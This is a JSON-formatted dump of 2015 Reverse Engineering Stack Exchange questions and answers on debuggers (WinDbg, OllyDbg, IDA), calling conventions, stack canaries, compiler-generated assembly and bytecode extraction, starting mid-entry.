Check the comments at the beginning of libstdc++'s basic_string.h to see how GCC's std::string works.Basically, _S_empty_rep_storage is a pre-initialized (in fact, zeroed out) representation of an empty string, used to initialize the string in a default constructor. So var_308, var_2F8 and var_2E8 are three std::string objects, initialized to an empty string.

\n\n

As for r12-r14, they seem to be used as temporary variables. We can at leas see that r14 is used to initialize rdi - the this pointer for the std::string::swap() call, so presumably r12 and r13 are also used later.

\n" }, { "Id": "10729", "CreationDate": "2015-08-27T20:43:18.017", "Body": "

I set the following breakpoint:

\n\n
bp MSPTLS!LsCreateLine 100\n
\n\n

The program crashes before the break point is hit 100 times. When I do bl after the crash, I get the following:

\n\n
0 e 5dca4b62     0072 (0100)  0:**** MSPTLS!LsCreateLine\n
\n\n

I am assuming from this information that the break point was hit 72 times before the crash.

\n\n

However, when I do bp MSPTLS!LsCreateLine 80 I am able to hit the breakpoint before the crash telling me that the break point was hit more than 72 times before the crash. Does this 72 not indicate how many times the break point was hit?

\n", "Title": "Windbg breakpoint counter", "Tags": "|windbg|", "Answer": "

0072 (0100) :

\n\n\n\n

Note that these are hexidecimal values, so the crash was hit on the 142nd iteration (0x100-0x72).

\n\n

0x80 is smaller than 142 (0x8E), so it expected that you would hit the breakpoint before the crash with that setting.

\n\n

Link to documentation: bl

\n" }, { "Id": "10733", "CreationDate": "2015-08-28T14:19:15.210", "Body": "

I'm reverse engineering the Final Fantasy XIV 1.0 protocol to bring back the now dead game (not ARR). I'm trying to find where an error message handler is called (specifically \"This character name is already in use\"), and work backwards to send the correct packet. Using the timeout error message, I found the routine that causes this message to load, but the routine is never called as a constant, rather loaded into EDX and then called. A error code is passed in which defines what message to show, as well as what action to take (for example, putting in the \"Bad chara name\" code will actually cause the UI to switch to the \"enter name\" screen).

\n\n

I'm using ollydbg and normally I'd just use the \"find references to command\" option, but since this routine is loaded then called, that won't work. Any ideas how to find where this routine is called? Then I can work backwards to find what is read from the packet to go to that code.

\n", "Title": "Find where a routine pointer is loaded and called", "Tags": "|ollydbg|", "Answer": "

You must set hardware breakpoint on execute in that address:

\n\n

first find your tracing routine and flow in dump:

\n\n

\"enter

\n\n

then create hwbp:

\n\n

\"enter

\n\n

set on execute on the first byte of this routine :

\n\n

\"enter

\n\n

now when call to this function ollydbg show the call:

\n\n

\"enter

\n" }, { "Id": "10734", "CreationDate": "2015-08-28T16:48:41.833", "Body": "
000007FEEC55CF58| 48 8D 0D F1 A7 0B 00 | lea rcx,qword ptr ds:[7FEEC617750] | ;7FEEC617750:\"500117367\"\n
\n\n

I see the above line in the ollyDBG which has the value of \"500117367\" according to the comment made by the ollyDBG itself.

\n\n

However, I don't know how to access the dereferenced pointer value. When I press Ctrl + G and go to the 7FEEC617750 memory address, I get an expression like push rbx which is not the value shown in the ollyDBG.

\n\n

I am pretty confused by how I should use the offsets and stack in ollyDBG. I simply want to know how to access the value of pointer shown in the comment of ollyDBG [7FEEC617750] and also find out what accesses and writes to [7FEEC617750].

\n\n

P.S Thanks to AcidShout for pinpointing, indeed, the debugger is x64_dbg the cousin of ollyDBG :)

\n", "Title": "Failure at finding the value of the dereferenced pointer", "Tags": "|disassembly|address|assembly|pointer|", "Answer": "

Right-click on the disassembly line above in OllyDbg and choose Follow in Dump. That will tell OllyDbg to navigate to address 7FEEC617750 in the dump pane and allow you to see the memory at that address:

\n\n

\"Follow

\n\n

To see what accesses and writes to the memory at that address, right-click in the dump pane on the first byte of memory at that address and set a hardware breakpoint on-access:

\n\n

\"Hardware

\n\n

Edit:

\n\n

All that said, AcidShout's two comments above in response to your question are spot-on!

\n" }, { "Id": "10738", "CreationDate": "2015-08-29T02:46:43.440", "Body": "

If I were to disassemble a malware sample in IDA without being in a VM, is there any way I can infect my machine?

\n", "Title": "Is it dangerous to disassemble malware in IDA?", "Tags": "|ida|malware|", "Answer": "

The recommended workflow is to make the initial database (idb) by running IDA within a VM. That way you are safe even in case of a possible zero day.

\n\n

The idb file can then be taken out of the VM and analyzed elsewhere. The idb does not contain runnable machine code, so you are safe.

\n\n

If you want to perform any dynamic analysis on the malware, you need to use a VM.

\n" }, { "Id": "10744", "CreationDate": "2015-08-29T16:27:41.310", "Body": "

I am trying to attach the WinDBG to particular process but I constantly get the error below :\n\"enter
\nI am using win 7 x64 and am trying to debug x64 application.\nI run the IDA Pro with admin privileges. I have run the application both with admin privilege and the user one. I even tried to run it on different windows user account with admin privilege but I still get the same error.

\n", "Title": "Attaching debugger to process IDA Pro privilege problem", "Tags": "|ida|idapro-sdk|process|error-messages|", "Answer": "

AFAIK you cannot debug a 64 bit application locally with IDA Pro. \n
You need to use remote debugging.

\n\n

See this page: https://www.hex-rays.com/products/ida/debugger/#details\n
and this: https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32towin64.shtml

\n" }, { "Id": "10753", "CreationDate": "2015-08-30T23:04:08.333", "Body": "

I frequently see code formatted like this:

\n\n
push arg\npush arg\n(...)\nmov ecx, arg\ncall function\n
\n\n

If I need to call that function in Assembly, it's fine. But since I know how to consistently get the base of the functions, for the sake of organization and simplicity, I'd like to use typedefs in a DLL to call the functions.

\n\n

The problem's that I have no idea how to make a call use ecx to pass data. Unless I'm mistaken, func(arg,arg) will always assemble to two pushes and a call. If I don't use ecx the function crashes because it's a pointer to an object and it needs to be that. Is there any way to do this without inline assembly which I'd like to avoid?

\n", "Title": "mov ecx, arg - How to replicate in C++?", "Tags": "|assembly|c++|call|", "Answer": "

You can either typedef it like this:

\n\n
// typedef <return-type>(__thiscall* <type-name>)(<ecx>, <stack-1>, <stack-2>);\ntypedef int(__thiscall* tSomeFunc)(int thisPtr, int arg1, int arg2);\ntSomeFunc func = (tSomeFunc) 0xBAADC0DE;\n\n// this is how you call it\nfunc(/* this */ 0x123, /* arg1 */ 1, /* arg2 */ arg2);\n
\n\n

Or directly call it:

\n\n
((int(__thiscall*)(int, int, int)) 0xDEADBABE)(/* this */ 0x123, 1, 2);\n
\n\n

It relies on the fact that your calling convention seems to be __thiscall, which stores the this pointer into ecx and then pushes the rest of the args to the stack.

\n" }, { "Id": "10756", "CreationDate": "2015-08-31T10:25:27.417", "Body": "

From this blog article:

\n\n
\n

Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs & Runtime Signers).

\n
\n\n

Windows 8 instituted the Signing Level, also sometimes referred to as the Signature Level. This undocumented number was a way for the system to differentiate the different types of Windows binaries, something that became a requirement for Windows RT as part of its requirement to prohibit the execution of Windows \u201cdesktop\u201d applications.

\n\n

How this signature level are determined on what basis ? Is that flag passed to CreateProcess or kernel handles this ?

\n", "Title": "How the signature level set to the process in Windows 8?", "Tags": "|cryptography|protection|windows-8|", "Answer": "

See http://2012.ruxconbreakpoint.com/assets/Uploads/bpx/alex-breakpoint2012.pdf:

\n\n

\"Signing

\n\n

So the signing level is embedded in the signed image's (file's) certificate. There are no special flags passed to CreateProcess(), but PspCreateProcess() (a kernel function that's executed as a result of CreateProcess()) extracts and validates the signing level from the executed image's certificate.

\n" }, { "Id": "10759", "CreationDate": "2015-08-31T14:57:58.590", "Body": "

I'm reverse engineering some windows application. I came accross with this function that IDA recognized:

\n\n
call __alloca_probe_16\n
\n\n

I'm unable to find any documentation/reference on this function except here. The poster suggests that __alloca_probe is a support routine for the API _alloca() without providing any reference.

\n\n

I'm just wondering if anyone knows what this function does and where I can find reference to undocumented/internal(?) APIs like this in the future.

\n", "Title": "What is __alloca_probe_16 and what does it do?", "Tags": "|ida|assembly|", "Answer": "

This funcion enures that an alloca() call returns a pointer aligned to 16 bytes boundary. You can see the comments in alloca16.asm in Visual C++' CRT sources:

\n\n
; _alloca_probe_16, _alloca_probe_8 - align allocation to 16/8 byte boundary\n;\n;Purpose:\n;       Adjust allocation size so the ESP returned from chkstk will be aligned\n;       to 16/8 bit boundary. Call chkstk to do the real allocation.\n;Entry:\n;       EAX = size of local frame\n;\n;Exit:\n;       Adjusted EAX.\n;\n;Uses:\n;       EAX\n
\n\n

NB: this comment seems to be stale; the current implementation tail-calls _chkstk, so the allocation (ESP adjustment) happens immediately.

\n" }, { "Id": "10763", "CreationDate": "2015-08-31T21:37:36.593", "Body": "
void __usercall sub_101A7850@<eax>(int a1@<edx>, int a2@<ecx>, int a3, int a4, int a5, int a6)\n
\n\n

My first attempt (crashes):

\n\n
__declspec(naked) void __stdcall callit(const int& a1, const int& a2, unsigned int a3, const int *a4, int a5, int *a6)\n    {\n        // void __usercall sub_101A7850@<eax>(int a1@<edx>, int a2@<ecx>, int a3, int a4, int a5, int a6)\n        __asm\n        {\n            mov ecx, [esp + 4] // a1\n            mov edx, [esp + 8] // a2\n            push [esp + 12] // a3\n            push [esp + 16] // a4\n            push [esp + 20] // a5\n            push [esp + 24] // a6\n            call funcaddr\n            retn 24\n        }\n    }\n
\n\n

I have verified funcaddr is valid. Pretty sure its a __fastcall

\n", "Title": "How do I call this function in inline ASM? (MSVC++)", "Tags": "|assembly|c++|", "Answer": "

Just use something like this:

\n\n
void call_sub_101A7850(int a1, int a2, int a3, int a4, int a5, int a6){\n    uintptr_t addr = 0x101A7850;\n    unsigned int result;\n    __asm {\n        mov edx, a1;\n        mov ecx, a2;\n        push a6;\n        push a5;\n        push a4;\n        push a3;\n        call addr;\n        add esp, 16;\n        mov result, eax;\n    }\n    return result;\n}\n
\n\n

It seems to be __fastcall; however, in that calling convention, the first argument is stored in ecx, and the second one in edx, not like in your function's prototype, so you'll have to swap arguments order, like this:

\n\n
typedef int(__fastcall* tTheFunc)(int a1, int a2, int a3, int a4, int a5, int a6);\ntTheFunc func = (tTheFunc) 0x101A7850;\nfunc(a2, a1, a3, a4, a5, a6);\n//   ^swapped order, because a fastcall will always put the first arg in ecx and second in edx\n
\n\n

You can also call it directly, like this:

\n\n
((int(__fastcall*)(int, int, int, int, int, int)) 0x101A7850)(a2, a1, a3, a4, a5, a6);\n
\n\n

Here's what's wrong with your function:

\n\n\n" }, { "Id": "10771", "CreationDate": "2015-09-01T22:55:23.130", "Body": "

Which are the methods or which are the steps for from a asm disassembled function code passing/converting it to 'C/C++' or other language and tell what happens.

\n", "Title": "Reversing a function, methodology", "Tags": "|disassembly|assembly|decompilation|", "Answer": "

For me the steps to reverse a function are usually this ones :

\n\n
    \n

  1. Identify the calling convention used in the executable.

    2. \n

  2. try to identify all arguments passed to the function and understand their types and usages :

    \n\n
    3. \n

  3. Look code around calls to the function to try to figure out what the function is about.

    4. \n

  4. analyze the content of the function isolating chunks of code, each chunk corresponding to a line of C for example. To identify chunks :

    \n\n
    5. \n

  5. this step is simultaneous to the precedent. Look the use of local variables and try to name them. For each local variable :

    \n\n
    6. \n

  6. Don't expect to understand all the function with a single pass of analyze. Repeat the process. If a chunk of code is not clear, go to the next one and return later to the hard one. Each time you understand a chunk, review your previous work to see if your guessed are consistent with your new findings.

    7. \n

  7. If the function calls another functions, proceed with a bottom-up method like leafs are usually simples than branches and understanding leafs help to understand branches.

    8. \n

  8. Try to look at mixed source code C/asm for example, with a debugger or with the good compiler switch (/FAs or /FAcs for example in Visual Studio).

    9. \n
\n\n

Hope that helps.

\n" }, { "Id": "10772", "CreationDate": "2015-09-01T22:58:38.043", "Body": "

I will be distributing a c++ application, and I was wondering if there was any tools available to add an extra layer of security against reverse engineering. I'm looking for a quick fix because I don't want to spend a year learning RE, I just want to focus on my application. Should I be looking at anti debuggers, packers, or what? Is there any convenient libraries to use?

\n\n

I understand that nothing can stop reverse engineering, I just would like to make it more difficult if possible.

\n\n

Is there anything that is free or open source?

\n", "Title": "Anti reverse engineering tools that are easy to set up", "Tags": "|c++|binary|protection|", "Answer": "

Since you don't want to learn RE, there are some free/opensource and paid tools.

\n\n

For the first you probably should look in the answers here.

\n\n

If you feel like spending money you can find some relatively stronger packers like:\nVMProtect or themida.

\n\n

Good luck!

\n" }, { "Id": "10775", "CreationDate": "2015-09-02T02:39:38.320", "Body": "

I am wondering if it is possible to reverse engineer the calculator on this url:

\n\n

http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw

\n\n

It appears to be a Joomla site with the Fabrik plugin driving the calculator. Some research suggests Fabrik uses Ajax, a language I know little about other than it is client-side calculation, so the source should be accessible(?)

\n\n

Glad of anyone's help.

\n", "Title": "Reverse Engineer Joomla fabrik calculator", "Tags": "|javascript|websites|", "Answer": "

The algorithm is on the server-side (and executed via an HTTP POST to http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw), so you won't be able to directly extract the algorithm by just looking at the client-side HTML, JavaScript, etc.

\n\n

However, since there are only 3 input variables, it shouldn't be too difficult to write a program to submit many values, extract the output, and then extrapolate the formula by graphing the results.

\n" }, { "Id": "10777", "CreationDate": "2015-09-02T07:45:52.870", "Body": "

I have an application which is executing oci statements using OCIStmtExecute(). I need to know which sql statement is being passed to OCIStmtPrepare on what action. Tried using API Monitor but there weren't OCI.dll functions. Also placing a breakpoint doesn't help since it's executing a notify statement almost every half a second.

\n", "Title": "How to monitor calls to an external library function?", "Tags": "|ida|", "Answer": "
\n

Tried using API Monitor but there weren't OCI.dll functions.

\n
\n\n

OCI.dll most certainly does export functions, including OCIStmtExecute() and OCIStmtPrepare():

\n\n

\"OCIStmtExecute\"

\n\n

If you're not seeing them in API Monitor, it's because you've not told API Monitor to log them correctly, or because they're not really being called by the target process.

\n" }, { "Id": "10784", "CreationDate": "2015-09-03T09:27:57.783", "Body": "

I've decompiled Win32 executable that is the result of compilation of a program written in Moscow ML language.

\n\n

The resulting listing contains standard C main function that contains the call to caml_main that (as I understand) calls bytecode interpreter which interprets the bytecode containing in the executable.

\n\n

So my questions are:

\n\n
    \n

  1. How to extract the bytecode without a lots of manual work?

    2. \n

  2. How to decompile the Moscow ML bytecode?

    3. \n
\n\n

Any help is appreciated.

\n", "Title": "Does anybody know which tools allow to get (pseudo) code from a Moscow ML executable?", "Tags": "|binary-analysis|decompilation|byte-code|", "Answer": "
\n
    \n
  1. How to extract the bytecode without a lots of manual work
    2. \n
\n
\n\n

As per https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L62, the last 20 bytes of the EXE make up an exec_trailer structure:

\n\n
static int read_trailer(int fd, struct exec_trailer * trail)\n{\n  unsigned char buffer[TRAILER_SIZE];\n\n  lseek(fd, (long) -TRAILER_SIZE, 2);\n  if (read(fd, (char*)buffer, TRAILER_SIZE) < TRAILER_SIZE) \n    return TRUNCATED_FILE;\n  trail->code_size = read_size(buffer);\n  trail->data_size = read_size(buffer+4);\n  trail->symbol_size = read_size(buffer+8);\n  trail->debug_size = read_size(buffer+12);\n  trail->magic = read_size(buffer+16);\n  if (trail->magic == EXEC_MAGIC) return 0; else return BAD_MAGIC_NUM;\n}\n
\n\n

And as per https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L229, the bytecode begins at (20 + trail.code_size + trail.data_size + trail.symbol_size + trail.debug_size) bytes before the end of the file.

\n\n
\n
    \n
  1. How to decompile the Moscow ML bytecode?
    2. \n
\n
\n\n

The bytecode interpreter is defined here: https://github.com/kfl/mosml/blob/master/src/runtime/interp.c#L87

\n\n

However, even if you were to leverage the parser in that interpreter, the best you'd get is an intermediate representation of the code (consisting of the instructions in https://github.com/kfl/mosml/blob/master/src/runtime/instruct.h), not the decompiled ML code itself.

\n\n

If you want to convert the intermediate instructions to an actual decompilation, that question would probably be better asked at https://stackoverflow.com/.

\n" }, { "Id": "10803", "CreationDate": "2015-09-04T20:20:11.197", "Body": "

I'm trying to get a sense of the amount of time it takes to RE something, but I'm going to try to make this question as least subjective as possible.

\n\n

Imagine a very simple application that has only 100,000 lines of disassembly. Maybe it's a game like flappy bird, draws things to screen, a little physics, gets input, game mechanics, etc. Now imagine this in x86 disassembly with with highest optimization used, no debug symbols.

\n\n

For a reverse engineer who is moderately skilled, what is an estimate on the time it might take such an engineer to go through the assembly and understand how the app works.

\n\n

edit: To add more constraint, what I mean by \"understand how the app works\", I mean, know it well enough to create a near replica of the application using mostly the same implementation details. Flappy bird is a bad example because you can play it and you already have an idea of what it does. Pretend you don't know how it works.

\n", "Title": "How much time would it take to reverse engineer 100,000 lines of disassembly?", "Tags": "|disassembly|x86|", "Answer": "

The amount of time needed to understand assembly code does not grow linear. For example: You can understand a simple function with 10 lines of assembly relatively quickly (lets say 4-5 minutes). As the code grows the more complex it is to understand the code: You need to catch how different functions work together, so the equation does not result in 8-10 minutes.

\n\n

As L. Resnik made clear the amount of time vastly depends on the complexity of the code, but this is roughly the same for every standard application I would say.

\n\n

Understanding 100,000 lines of C code takes several weeks (Guess! I did never try to understand 100,000 lines of C code before), depending on the time you're actually working. With this basis I guess it takes several months with smart analysis. Of course \"several\" is wide-ranged, but I do not think you could answer anything more precise.

\n\n

Feel free to add something, as these are just my first thoughts.

\n" }, { "Id": "10813", "CreationDate": "2015-09-06T18:29:17.087", "Body": "

I have an address (eg. 00423D8C) and I would like to know how to make a search on the main thread like this : PUSH 00423D8C (and so is it is possible).

\n\n

Here is an example of what I would like to get if I can do this search.

\n\n

\"enter

\n", "Title": "Search via push address in OllyDbg", "Tags": "|ollydbg|debugging|", "Answer": "

Right click on disasm -> Search for -> All commands:

\n\n

\"enter

\n\n

You put the command to search for (you can also use wildcards):

\n\n

\"enter

\n\n

And you get a list of results:

\n\n

\"enter

\n\n

Double-click on any result and it'll take you to that address in disasm view.

\n" }, { "Id": "10816", "CreationDate": "2015-09-07T21:28:09.397", "Body": "

How can I remove the CTRL and + keypad whenever I am debugging PE file in IDA?\nAll of the disassembled codes are wrapped up whenever I debug a PE file and I see the message CTRL and + keypad to collapse the code. How can I remove that mode so I have all the code collapsed down while debugging in the first place?

\n", "Title": "IDA pro CTRL and + keypad whenever debugging", "Tags": "|ida|idapython|", "Answer": "

In the Browser tab of IDA's Options window, check Unhide collapsed items automatically when jumping to them:

\n\n

\"IDA

\n\n

From IDA's help file:

\n\n
\n

If this option is set on, IDA will automatically uncollapse hidden\n functions if the user decides to jump to them. As soon as the user\n quits the function by pressing Esc, the function is automatically\n collapsed again.

\n
\n" }, { "Id": "10820", "CreationDate": "2015-09-09T04:47:06.797", "Body": "

In order to be able to effectively reverse assembly one needs to understand how different compilers work, and what are the common code generation patterns. If you do not know them, you spent much more time figuring out something that is simply an artifact of compiler code generation.

\n\n

Given the above, I'd like to understand meaning of the following code. It's from lzham_codec library but as you will see in a moment it's not specific to it. I clone this git repo and then I compile the code with VS2015. I set a breakpoint to lzham_codec\\lzhamdll\\lzham_api.cpp (line 9)

\n\n

Then I run lzhamtest and the breakpoint hits. I open the Disassembly window, and here is what I see:

\n\n

\"enter

\n\n

This is an awful lot of code for a function that simply returns a constant. What is all this code for?

\n", "Title": "What is all this code for?", "Tags": "|assembly|c++|compilers|", "Answer": "

I'll assume you have a general understanding of the x86 processor architecture, registers, and how the stack works. If you don't, there are a lot of introductions, tutorials, and books out there, which explain things much better than I could in this post.

\n\n

The first 2 and last 3 instructions are standard function entry/exit code:

\n\n
push ebp\nmov ebp, esp\n....\nmov esp, ebp\npop ebp\nret\n
\n\n

they set up the stack for the function, resp. undo this and return to the caller.

\n\n
sub esp, 0C0h\n
\n\n

makes space for 192 (0xC0) bytes of local variables on the stack.

\n\n

The push and pop instructions save registers to the stack that get clobbered by the function, and restore them afterwards:

\n\n
push ebx\npush esi\npush edi\n...\npop edi\npop esi\npop ebx\n
\n\n

Note that ebx and esi aren't even touched by the rest of the code. But it seems you compiled without optimizations; the abi states that these registers shouldn't be changed by procedures, so the compiler saves them, and without optimizations, it doesn't realize it doesn't need them later and doesn't remove the push? /pop` from the code.

\n\n
lea edi, [ebp-0C0h]\nmov ecx, 30h\nmov eax, 0cccccccch\nrep stos dword ptr es:[edi]\n
\n\n

This fills all local variables with 0xCCCCCCCC, but your C code shows no reason for that. Maybe it has to do with some variable declarations that isn't shown in the code, or maybe the compiler just initializes local variables to 0xCCCCCCCC to prevent \"uninitialized variables have undefined values, don't let the code assume they are zero\" errors.

\n\n

What remains is

\n\n
mov eax,1010h\n
\n\n

which is the return instruction - function results are generally returned in the eax register, and 0x1010 seems to be what LZHAM_DLL_VERSION is defined to.

\n" }, { "Id": "10823", "CreationDate": "2015-09-09T10:41:25.987", "Body": "

I have recently started getting into assembly for the purpose of reverse engineering. I started small with understanding basic datatypes, but I want to move on to more complex datatypes and functions. I am trying to understand what is happening in both methods requestMaxPow and computePowers

\n\n

Here is the source that I use

\n\n
#include <stdio.h>\n\nint requestMaxPow();\nint computerPowers(int);\nint main(){\n    int max = requestMaxPow();\n    computePowers(max);\n    return 0;\n}\n\nint requestMaxPow(){\n    int maxPow;\n\n    scanf (\"%d\", &maxPow);\n    return maxPow;\n}\n\nint computePowers(int MaxPow){\n    int currentVal = 0;\n    int currentPow = 0;\n\n    for(;currentPow < MaxPow; ++currentPow){\n        currentVal = currentPow * currentPow;\n    }\n}\nCompiled with GCC with the following arguments \"gcc -g -O0 morecomplex.c -o morecoplex\"\n
\n\n

The assembly below is for the requestMaxPow method, which is the hardest for me to understand. Specifically I don't understand what \"gs\" means at 0xc5, and I have no idea what is going on between lines 0xce - 0x50. could someone well versed explain line by line what is happening?

\n\n
(gdb) disassemble \nDump of assembler code for function requestMaxPow:\n   0x080484bf <+0>: push   ebp\n   0x080484c0 <+1>: mov    ebp,esp\n   0x080484c2 <+3>: sub    esp,0x18\n=> 0x080484c5 <+6>: mov    eax,gs:0x14\n   0x080484cb <+12>:    mov    DWORD PTR [ebp-0xc],eax\n   0x080484ce <+15>:    xor    eax,eax\n   0x080484d0 <+17>:    sub    esp,0x8\n   0x080484d3 <+20>:    lea    eax,[ebp-0x10]\n   0x080484d6 <+23>:    push   eax\n   0x080484d7 <+24>:    push   0x80485b0\n   0x080484dc <+29>:    call   0x8048380 <__isoc99_scanf@plt>\n   0x080484e1 <+34>:    add    esp,0x10\n   0x080484e4 <+37>:    mov    eax,DWORD PTR [ebp-0x10]\n   0x080484e7 <+40>:    mov    edx,DWORD PTR [ebp-0xc]\n   0x080484ea <+43>:    xor    edx,DWORD PTR gs:0x14\n   0x080484f1 <+50>:    je     0x80484f8 <requestMaxPow+57>\n   0x080484f3 <+52>:    call   0x8048350 <__stack_chk_fail@plt>\n   0x080484f8 <+57>:    leave  \n   0x080484f9 <+58>:    ret    \nEnd of assembler dump.\n
\n\n

The assembly for the computePowers method is much easier to understand. I include it just in case it has relevance to my main question.

\n\n
(gdb) disassemble \nDump of assembler code for function computePowers:\n   0x080484fa <+0>: push   ebp\n   0x080484fb <+1>: mov    ebp,esp\n   0x080484fd <+3>: sub    esp,0x10\n=> 0x08048500 <+6>: mov    DWORD PTR [ebp-0x4],0x0\n   0x08048507 <+13>:    mov    DWORD PTR [ebp-0x8],0x0\n   0x0804850e <+20>:    jmp    0x804851e <computePowers+36>\n   0x08048510 <+22>:    mov    eax,DWORD PTR [ebp-0x8]\n   0x08048513 <+25>:    imul   eax,DWORD PTR [ebp-0x8]\n   0x08048517 <+29>:    mov    DWORD PTR [ebp-0x4],eax\n   0x0804851a <+32>:    add    DWORD PTR [ebp-0x8],0x1\n   0x0804851e <+36>:    mov    eax,DWORD PTR [ebp-0x8]\n   0x08048521 <+39>:    cmp    eax,DWORD PTR [ebp+0x8]\n   0x08048524 <+42>:    jl     0x8048510 <computePowers+22>\n   0x08048526 <+44>:    leave  \n   0x08048527 <+45>:    ret    \nEnd of assembler dump.\n
\n\n

Edit 1\nAfter looking at the code for a while longer I realized the xor is happening on eax to \"0\" it out, does that happen so that a return value can be stored into eax?

\n", "Title": "How does scanf interact with my code in assembly", "Tags": "|disassembly|c|xor|program-analysis|scanf|", "Answer": "

The code between 80484c5 and 80484ce sets up the stack canary, and 80484e7 to 80484f3 checks it. gcc omits the stack checking from your second function, since it can determine (uses no pointers, doesn't call subroutines) that there's no way to overwrite the stack here. Your xor eax, eax isn't neccesary per se (you don't need to zero registers before storing something into them), it's just that the compiler wants to make the canary value unknown as soon as possible.

\n\n

Omitting the stack checking results in:

\n\n
0x080484d0 <+17>:    sub    esp,0x8            // adjust stack alignment \n0x080484d3 <+20>:    lea    eax,[ebp-0x10]     // move the address of maxRow into eax\n0x080484d6 <+23>:    push   eax                // and push it on the stack as the 2nd function argument\n0x080484d7 <+24>:    push   0x80485b0          // Push the address of your format string as first function argument\n0x080484dc <+29>:    call   0x8048380 <__isoc99_scanf@plt>  // call scanf\n0x080484e1 <+34>:    add    esp,0x10           // remove the added bytes from the stack\n0x080484e4 <+37>:    mov    eax,DWORD PTR [ebp-0x10]  // get the content of maxRow into eax to return it as function return value\n
\n\n

3 things might need further explanation:

\n\n\n" }, { "Id": "10827", "CreationDate": "2015-09-09T17:09:26.900", "Body": "

I am attempting to load a PPC memory dump into IDA Pro, but I am getting a \"ROM size overflow\" error. The dump is the exact size of the memory location, but IDA Pro will not load without cutting off bytes.

\n\n

What seems to be the issue?

\n\n

\"Disassembly

\n", "Title": "Problem loading dump into IDA Pro", "Tags": "|ida|disassembly|", "Answer": "

Looks like a bug in IDA (and probably worth reporting to support@hex-rays.com). Try a ROM size of 0x3FFFFF as a workaround.

\n" }, { "Id": "10831", "CreationDate": "2015-09-10T13:40:56.140", "Body": "

After reading the question of zespri it was interesting for me to read something about the code generation patterns of different compilers in order to reverse better and quicker. Do you know good articles/books/advices or another resources where I could read this?

\n\n

I know that there are several function call conventions but it would be nice to know about artefacts of compiler code generation that aren't worth of attention while reversing.

\n", "Title": "Code generation patterns of compilers", "Tags": "|ida|assembly|compilers|", "Answer": "

I personally enjoy Reverse Engineering for Beginners (by Dennis Yurichev). \nThe book shows (among other things) lots of common code patterns being compiled to different architectures and using different compilers.\nThis way you can learn about the idiosyncrasies of the individual compilers by comparing how they transform the same code.

\n\n

NOTE: Please don't let the title of the book trick you. This is not your typical \"for beginners\" book. The author keeps adding content but the original title remains. It is actually beginner to intermediate level but of course that depends on who you are talking to :)

\n" }, { "Id": "10839", "CreationDate": "2015-09-12T03:25:18.337", "Body": "

I'm writing small C programs to teach myself how to use GDB to disassemble code. The C in question is:

\n\n
void function( char **pointer )\n{\n   *pointer = malloc(100);\n   strcpy(*pointer,\"This is text\");\n}\n
\n\n

The disassembly is:

\n\n
0x400620:    push   %rbp\n0x400621:    mov    %rsp,%rbp\n0x400624:    sub    $0x10,%rsp\n0x400628:    mov    %rdi,-0x8(%rbp)\n0x40062c:    mov    $0x64,%edi\n0x400631:    callq  0x4004f0 <malloc@plt>\n0x400636:    mov    %rax,%rdx\n0x400639:    mov    -0x8(%rbp),%rax\n0x40063d:    mov    %rdx,(%rax)\n0x400640:    mov    -0x8(%rbp),%rax\n0x400644:    mov    (%rax),%rax\n0x400647:    movabs $0x2073692073696854,%rcx\n0x400651:    mov    %rcx,(%rax)\n0x400654:    movl   $0x74786574,0x8(%rax)\n0x40065b:    movb   $0x0,0xc(%rax)\n0x40065f:    leaveq \n0x400660:    retq   \n
\n\n

I understand the prologue: 0x400620-0x400624. I also understand that the pointer is being initialized to 100 char here: 0x400628-0x40063d.

\n\n

I cannot seem to figure out what strcpy is doing and I do not understand how to examine the contents of the addresses listed in 0x400647 and 0x400654.

\n\n

Can someone help me work through this?

\n", "Title": "Optimization of strcpy at the assembler level", "Tags": "|disassembly|", "Answer": "

So, I assume that you understood the stack-frame initialization part and the call to the malloc through the PLT (Procedure Linking Table).

\n\n
0x400636:    mov    %rax,%rdx\n
\n\n

This line take the return code of the malloc function and save it in the rdx register. This value correspond to the address of the memory space you just created through the malloc call.

\n\n
0x400639:    mov    -0x8(%rbp),%rax\n
\n\n

Here, you take the first argument of the function we are in (char **pointer according to your source code) and it is stored in the rax register.

\n\n
0x40063d:    mov    %rdx,(%rax)\n
\n\n

This line transfert the address of the allocated memory area to the pointer variable.

\n\n
0x400640:    mov    -0x8(%rbp),%rax\n
\n\n

An (unnecessary) copy of the first argument of function in rax (the register already store this value, probably a glitch of the compiler that did not optimized enough).

\n\n
0x400644:    mov    (%rax),%rax\n
\n\n

Set rax as the address pointed by pointer.

\n\n
0x400647:    movabs $0x2073692073696854,%rcx\n
\n\n

To understand that, you need to decompose this magic number 0x2073692073696854 and cut it into pieces. Lets use gdb for that:

\n\n
(gdb) p /c 0x54\n$1 = 84 'T'\n(gdb) p /c 0x68\n$2 = 104 'h'\n(gdb) p /c 0x69\n$3 = 105 'i'\n(gdb) p /c 0x73\n$4 = 115 's'\n(gdb) p /c 0x20\n$5 = 32 ' '\n(gdb) ...\n
\n\n

I guess that you start to see what is the meaning of this big number by now...

\n\n
0x400651:    mov    %rcx,(%rax)\n
\n\n

On this line, the previous magic number is stored in the address pointed by pointer.

\n\n
0x400654:    movl   $0x74786574,0x8(%rax)\n
\n\n

This last magic number is, in fact, the end of your string (it correspond to the word text).

\n\n
0x40065b:    movb   $0x0,0xc(%rax)\n
\n\n

Copy the \\0 character to end the string at the right place (0xc is the size of the string and rax is the start address of the string).

\n" }, { "Id": "10847", "CreationDate": "2015-09-13T02:17:33.823", "Body": "

I am thinking on a decompilation method which uses the runtime behavior of the binary executable to extract usable compilation data. Analysing the runtime behavior (i.e. trapping after every cpu instruction and check what it does), we could get a lot of additional infos, like:

\n\n\n\n

On my opinion, maybe even the holy grail, the recompilable source code wouldn't be so far away.

\n\n

Is it possible? Does any tool / software already exist which is capable to do this?

\n", "Title": "Decompile binary executable into c / asm code by emulation, is it possible?", "Tags": "|disassembly|decompilation|tracing|", "Answer": "

This problem is linked to the halting problem on a Turing machine (which is known to be undecidable).

\n\n

Approaching decompilation through emulation suppose that you have to run through all the branches of the software at least once, and reaching all possible program points cannot be guaranteed if you have to go through a (potentially) infinite loop.

\n\n

Yet, this is a theoretical problem that you unlikely find in real life (except if it has been planted here intentionally to prevent the full exploration through emulation).

\n\n

